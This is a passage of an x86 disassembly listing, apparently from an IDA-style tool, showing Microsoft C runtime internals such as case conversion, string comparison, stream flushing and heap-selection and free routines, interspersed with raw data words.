61h jl short loc_41DE77 cmp cl, 7Ah jg short loc_41DE77 sub cl, 20h mov [edx], cl loc_41DE77: ; CODE XREF: sub_41DE4A+21j ; sub_41DE4A+26j inc edx cmp [edx], bl jnz short loc_41DE66 jmp short loc_41DEE5 ; --------------------------------------------------------------------------- loc_41DE7E: ; CODE XREF: sub_41DE4A+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_4232A8 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41DED7 push edi call sub_41BEB5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41DED7 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DBE94 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41DED7 push [ebp+var_4] push [ebp+arg_0] call sub_41C890 pop ecx pop ecx loc_41DED7: ; CODE XREF: sub_41DE4A+53j ; sub_41DE4A+61j ... push [ebp+var_4] call sub_41BA91 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj ; sub_41DE4A+32j pop ebx leave retn sub_41DE4A endp ; =============== S U B R O U T I N E ======================================= sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p arg_0 = dword ptr 4 cmp dword_43D094, 1 jle short loc_41DEFF push 4 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DEFF: ; CODE XREF: sub_41DEE8+7j mov eax, [esp+arg_0] mov ecx, off_43CE88 mov al, [ecx+eax*2] and eax, 4 retn sub_41DEE8 endp ; =============== S U B R O U T I N E ======================================= sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p ; sub_420DB0+88p ... arg_0 = dword ptr 4 cmp dword_43D094, 1 jle short loc_41DF27 push 8 push [esp+4+arg_0] call sub_41FDB5 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DF27: ; CODE XREF: sub_41DF10+7j mov eax, [esp+arg_0] mov ecx, off_43CE88 mov al, [ecx+eax*2] and eax, 8 retn sub_41DF10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DF8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DF8D test eax, 1 jz short loc_41DF6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DFBA inc esi inc edi dec eax jz short loc_41DF8A loc_41DF6D: ; CODE XREF: sub_41DF40+20j ; sub_41DF40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DFBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DFBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DF6D loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj ; sub_41DF40+84j pop edi pop esi locret_41DF8C: ; CODE XREF: sub_41DF40+6j retn ; --------------------------------------------------------------------------- loc_41DF8D: ; CODE XREF: sub_41DF40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DFC2 repe cmpsd jz short loc_41DFC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DFB5 cmp ch, dh jnz short loc_41DFB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DFB5 cmp ch, dh loc_41DFB5: ; CODE XREF: sub_41DF40+63j ; sub_41DF40+67j ... mov eax, 0 loc_41DFBA: ; CODE XREF: sub_41DF40+26j ; sub_41DF40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DFC2: ; CODE XREF: sub_41DF40+55j ; sub_41DF40+59j test eax, eax jz short loc_41DF8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DFB5 dec eax jz short loc_41DFE9 cmp dh, ch jnz short loc_41DFB5 dec eax jz short loc_41DFE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DFB5 dec eax loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj ; sub_41DF40+96j pop edi pop esi retn sub_41DF40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p ; sub_4185D3+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE94, 0 push ebx push esi push edi jnz short loc_41E019 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41E0B2 cmp eax, 5Ah jg loc_41E0B2 add eax, 20h jmp loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E019: ; CODE XREF: sub_41DFEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41E04D cmp dword_43D094, esi jle short loc_41E03B push esi push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_41E045 ; --------------------------------------------------------------------------- loc_41E03B: ; CODE XREF: sub_41DFEC+42j mov eax, off_43CE88 mov al, [eax+ebx*2] and eax, esi loc_41E045: ; CODE XREF: sub_41DFEC+4Dj test eax, eax jnz short loc_41E04D loc_41E049: ; CODE XREF: sub_41DFEC+ADj mov eax, ebx jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj ; sub_41DFEC+5Bj mov edx, off_43CE88 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41E071 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41E07A ; --------------------------------------------------------------------------- loc_41E071: ; CODE XREF: sub_41DFEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41E07A: ; CODE XREF: sub_41DFEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DBE94 call sub_4232A8 add esp, 20h test eax, eax jz short loc_41E049 cmp eax, esi jnz short loc_41E0A5 movzx eax, [ebp+var_4] jmp short loc_41E0B2 ; --------------------------------------------------------------------------- loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41E0B2: ; CODE XREF: sub_41DFEC+16j ; sub_41DFEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DFEC endp ; =============== S U B R O U T I N E ======================================= sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp ; sub_419AE0+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41E0CE loc_41E0C4: ; CODE XREF: sub_41E0B7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41E0C4 loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41E0B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp ; sub_418AF1+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E1A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E1CE cmp dword_4DBE94, esi jnz short loc_41E125 cmp edi, esi jbe loc_41E1CE loc_41E104: ; CODE XREF: sub_41E0D4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E1CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E104 jmp loc_41E1CE ; --------------------------------------------------------------------------- loc_41E125: ; CODE XREF: sub_41E0D4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270E8 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DBEA4 call esi test eax, eax jnz loc_41E1CD nop call near ptr 26808B7h cmp eax, 7Ah jz short loc_41E15F loc_41E150: ; CODE XREF: sub_41E0D4+CBj ; sub_41E0D4+F7j mov dword_4DBDEC, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E167: ; CODE XREF: sub_41E0D4+B3j mov cl, [eax] test cl, cl jz short loc_41E189 mov edx, off_43CE88 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E17E inc eax loc_41E17E: ; CODE XREF: sub_41E0D4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E167 loc_41E189: ; CODE XREF: sub_41E0D4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DBEA4 call esi test eax, eax jnz short loc_41E1CE jmp short loc_41E150 ; --------------------------------------------------------------------------- loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj cmp dword_4DBE94, esi jnz short loc_41E1B4 push [ebp+arg_4] call sub_41B9C0 pop ecx jmp short loc_41E1CE ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DBEA4 nop call near ptr 26F0000h cmp eax, esi jz short loc_41E150 loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj dec eax loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj ; sub_41E0D4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41E0D4 endp ; --------------------------------------------------------------------------- db 47h dd 0F92E132Bh, 0CCDB8E98h, 0FA91E844h, 0A1648CF9h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 391CE8E8h, 33900245h, 89D48AD2h dd 4DBE0415h, 81C88B00h, 0FFE1h, 0D8900h, 0C1004DBEh, 0CA0308E1h dd 0BDFC0D89h, 0E8C1004Dh, 0BDF8A310h, 0F633004Dh, 440E856h dd 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h, 0C4E8FC75h dd 0E8000058h, 24538B4h, 0D3ACA390h, 82E8004Dh, 0A3000057h dd 4DBE44h, 552BE8h, 546DE800h, 0F9E80000h, 89FFFFDEh dd 458DD075h, 0E89050A4h, 2451D88h, 53FEE8h, 9C458900h dd 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah, 569C75FFh dd 0C1E89056h, 5002262Ah, 0FE2F80E8h, 0A04589FFh, 0DEE7E850h dd 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h, 59000052h dd 658BC359h, 9875FFE8h, 0FFDED9E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p ; ___:00423721p ... arg_0 = dword ptr 4 cmp dword_4DBE4C, 1 jnz short loc_41E2D7 call sub_423D98 loc_41E2D7: ; CODE XREF: sub_41E2C9+7j push [esp+arg_0] call sub_423DD1 push 0FFh call off_43AE50 pop ecx pop ecx retn sub_41E2C9 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DBE4C dd 0E8057501h, 5A9Ch, 42474FFh, 5ACCE8h, 0FF685900h, 90000000h dd 0A579A4E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap ; sub_42423B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DD160 jnb loc_41E3AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DD060h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E3AC push edi call sub_4240AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E38B cmp edi, 1 jz short loc_41E359 cmp edi, 2 jnz short loc_41E36F loc_41E359: ; CODE XREF: sub_41E312+40j push 2 call sub_4240AA push 1 mov ebp, eax call sub_4240AA pop ecx cmp eax, ebp pop ecx jz short loc_41E38B loc_41E36F: ; CODE XREF: sub_41E312+45j push edi call sub_4240AA pop ecx push eax nop call near ptr 2660830h test eax, eax jnz short loc_41E38B nop call near ptr 26808B7h mov ebp, eax jmp short loc_41E38D ; --------------------------------------------------------------------------- loc_41E38B: ; CODE XREF: sub_41E312+3Bj ; sub_41E312+5Bj ... xor ebp, ebp loc_41E38D: ; CODE XREF: sub_41E312+77j push edi call sub_424030 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E3A8 push ebp call sub_420C7F pop ecx jmp short loc_41E3BD ; --------------------------------------------------------------------------- loc_41E3A8: ; CODE XREF: sub_41E312+8Bj xor eax, eax jmp short loc_41E3C0 ; --------------------------------------------------------------------------- loc_41E3AC: ; CODE XREF: sub_41E312+Ej ; sub_41E312+2Fj and dword_4DBDF0, 0 mov dword_4DBDEC, 9 loc_41E3BD: ; CODE XREF: sub_41E312+94j or eax, 0FFFFFFFFh loc_41E3C0: ; CODE XREF: sub_41E312+98j pop edi pop esi pop ebp pop ebx retn sub_41E312 endp ; =============== S U B R O U T I N E ======================================= sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E3EE test al, 8 jz short loc_41E3EE push dword ptr [esi+8] call sub_41BA91 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj ; sub_41E3C5+Ej pop esi retn sub_41E3C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp ; sub_41E490+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E402 push esi call sub_41E490 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E402: ; CODE XREF: sub_41E3F0+7j push esi call sub_41E42B test eax, eax pop ecx jz short loc_41E412 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E412: ; CODE XREF: sub_41E3F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E427 push dword ptr [esi+10h] call sub_4240E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E427: ; CODE XREF: sub_41E3F0+26j xor eax, eax pop esi retn sub_41E3F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap ; ___:0041DAC2p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E478 test ax, 108h jz short loc_41E478 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E478 push edi push eax push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, edi jnz short loc_41E471 mov eax, [esi+0Ch] test al, 80h jz short loc_41E478 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E478 ; --------------------------------------------------------------------------- loc_41E471: ; CODE XREF: sub_41E42B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E478: ; CODE XREF: sub_41E42B+14j ; sub_41E42B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E42B endp ; =============== S U B R O U T I N E ======================================= sub_41E487 proc near ; CODE XREF: sub_4241E3p push 1 call sub_41E490 pop ecx retn sub_41E487 endp ; =============== S U B R O U T I N E ======================================= sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap ; sub_41E487+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DD040, esi jle short loc_41E4EE loc_41E4A1: ; CODE XREF: sub_41E490+5Cj mov eax, dword_4DC02C mov eax, [eax+esi*4] test eax, eax jz short loc_41E4E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E4E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E4CB push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E4E5 inc ebx jmp short loc_41E4E5 ; --------------------------------------------------------------------------- loc_41E4CB: ; CODE XREF: sub_41E490+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E4E5 test cl, 2 jz short loc_41E4E5 push eax call sub_41E3F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E4E5 or edi, eax loc_41E4E5: ; CODE XREF: sub_41E490+1Bj ; sub_41E490+23j ... inc esi cmp esi, dword_4DD040 jl short loc_41E4A1 loc_41E4EE: ; CODE XREF: sub_41E490+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E4F9 mov eax, edi loc_41E4F9: ; CODE XREF: sub_41E490+65j pop edi pop esi pop ebx retn sub_41E490 endp ; =============== S U B R O U T I N E ======================================= sub_41E4FD proc near ; CODE XREF: ___:0041E660p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2680D5Ch cmp word ptr [eax], 5A4Dh jnz short loc_41E528 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E528 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E528: ; CODE XREF: sub_41E4FD+15j ; sub_41E4FD+1Cj pop esi retn sub_41E4FD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41C500 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h call near ptr 26D0544h nop test eax, eax jz short loc_41E56D cmp dword ptr [ebp-88h], 2 jnz short loc_41E56D cmp dword ptr [ebp-94h], 5 jb short loc_41E56D push 1 pop eax jmp loc_41E66F ; --------------------------------------------------------------------------- loc_41E56D: ; CODE XREF: ___:0041E551j ; ___:0041E55Aj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 2880000h test eax, eax jz loc_41E65C xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41E5AF loc_41E59C: ; CODE XREF: ___:0041E5ADj mov al, [ecx] cmp al, 61h jl short loc_41E5AA cmp al, 7Ah jg short loc_41E5AA sub al, 20h mov [ecx], al loc_41E5AA: ; CODE XREF: ___:0041E5A0j ; ___:0041E5A4j inc ecx cmp [ecx], bl jnz short loc_41E59C loc_41E5AF: ; CODE XREF: ___:0041E59Aj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C850 add esp, 0Ch test eax, eax jnz short loc_41E5D1 lea eax, [ebp-122Ch] jmp short loc_41E61A ; --------------------------------------------------------------------------- loc_41E5D1: ; CODE XREF: ___:0041E5C7j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2670000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41E605 loc_41E5F2: ; CODE XREF: ___:0041E603j mov al, [ecx] cmp al, 61h jl short loc_41E600 cmp al, 7Ah jg short loc_41E600 sub al, 20h mov [ecx], al loc_41E600: ; CODE XREF: ___:0041E5F6j ; ___:0041E5FAj inc ecx cmp [ecx], bl jnz short loc_41E5F2 loc_41E605: ; CODE XREF: ___:0041E5F0j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41C2E0 pop ecx pop ecx loc_41E61A: ; CODE XREF: ___:0041E5CFj cmp eax, ebx jz short loc_41E65C push 2Ch push eax call sub_41C990 pop ecx cmp eax, ebx pop ecx jz short loc_41E65C inc eax mov ecx, eax cmp [eax], bl jz short loc_41E641 loc_41E633: ; CODE XREF: ___:0041E63Fj cmp byte ptr [ecx], 3Bh jnz short loc_41E63C mov [ecx], bl jmp short loc_41E63D ; --------------------------------------------------------------------------- loc_41E63C: ; CODE XREF: ___:0041E636j inc ecx loc_41E63D: ; CODE XREF: ___:0041E63Aj cmp [ecx], bl jnz short loc_41E633 loc_41E641: ; CODE XREF: ___:0041E631j push 0Ah push ebx push eax call sub_41C586 add esp, 0Ch cmp eax, 2 jz short loc_41E66F cmp eax, 3 jz short loc_41E66F cmp eax, 1 jz short loc_41E66F loc_41E65C: ; CODE XREF: ___:0041E586j ; ___:0041E61Cj ... lea eax, [ebp-4] push eax call sub_41E4FD cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E66F: ; CODE XREF: ___:0041E568j ; ___:0041E650j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 471977E8h dd 0A3C08502h, 4DD3A4h, 93E83674h, 83FFFFFEh, 0A8A303F8h dd 75004DD3h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0D3A435FFh, 0E890004Dh dd 2462723h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD3A4h dd 191EE890h, 0C085023Ah, 4DD39CA3h, 0C3017500h, 4244C8Bh dd 0D3942583h, 8300004Dh, 4DD39825h, 16A0000h, 4DD390A3h dd 0A00D8900h, 0C7004DD3h, 4DD38805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E717 proc near ; CODE XREF: sub_41BA91+17p ; sub_41BBE2+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DD398 lea ecx, [eax+eax*4] mov eax, dword_4DD39C lea ecx, [eax+ecx*4] loc_41E727: ; CODE XREF: sub_41E717+26j cmp eax, ecx jnb short loc_41E73F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E741 add eax, 14h jmp short loc_41E727 ; --------------------------------------------------------------------------- loc_41E73F: ; CODE XREF: sub_41E717+12j xor eax, eax locret_41E741: ; CODE XREF: sub_41E717+21j retn sub_41E717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E742 proc near ; CODE XREF: sub_41BA91+23p ; sub_41BBE2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41EA66 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E818 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E7A6 push 3Fh pop edx loc_41E7A6: ; CODE XREF: sub_41E742+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E7FA cmp edx, 20h jnb short loc_41E7D1 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E7F2 ; --------------------------------------------------------------------------- loc_41E7D1: ; CODE XREF: sub_41E742+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E7F2 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E7F2: ; CODE XREF: sub_41E742+86j ; sub_41E742+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E7FD ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E742+6Aj mov ecx, [ebp+var_4] loc_41E7FD: ; CODE XREF: sub_41E742+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E818: ; CODE XREF: sub_41E742+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E826 push 3Fh pop edx loc_41E826: ; CODE XREF: sub_41E742+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E8C9 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E84B mov ebx, esi loc_41E84B: ; CODE XREF: sub_41E742+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E85D mov edx, esi loc_41E85D: ; CODE XREF: sub_41E742+117j cmp ebx, edx jz short loc_41E8C4 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E8AC cmp ebx, 20h jnb short loc_41E88D mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E8AC ; --------------------------------------------------------------------------- loc_41E88D: ; CODE XREF: sub_41E742+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E8AC mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E8AC: ; CODE XREF: sub_41E742+128j ; sub_41E742+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E8C4: ; CODE XREF: sub_41E742+11Dj mov esi, [ebp+arg_4] jmp short loc_41E8CC ; --------------------------------------------------------------------------- loc_41E8C9: ; CODE XREF: sub_41E742+EDj mov ebx, [ebp+arg_0] loc_41E8CC: ; CODE XREF: sub_41E742+185j cmp [ebp+var_C], 0 jnz short loc_41E8DA cmp ebx, edx jz loc_41E95B loc_41E8DA: ; CODE XREF: sub_41E742+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E95B mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E932 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E921 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E921: ; CODE XREF: sub_41E742+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E95B ; --------------------------------------------------------------------------- loc_41E932: ; CODE XREF: sub_41E742+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E948 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E948: ; CODE XREF: sub_41E742+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E95B: ; CODE XREF: sub_41E742+192j ; sub_41E742+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41EA66 mov eax, dword_4DD394 test eax, eax jz loc_41EA58 mov ecx, dword_4DD38C mov esi, dword_427068 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DD38C mov eax, dword_4DD394 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DD394 mov ecx, dword_4DD38C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DD394 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DD394 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E9E9 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DD394 loc_41E9E9: ; CODE XREF: sub_41E742+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41EA58 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DD394 push dword ptr [eax+10h] push 0 push dword_4DD3A4 nop call near ptr 27B0000h mov eax, dword_4DD398 mov edx, dword_4DD39C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DD394 sub ecx, eax lea ecx, 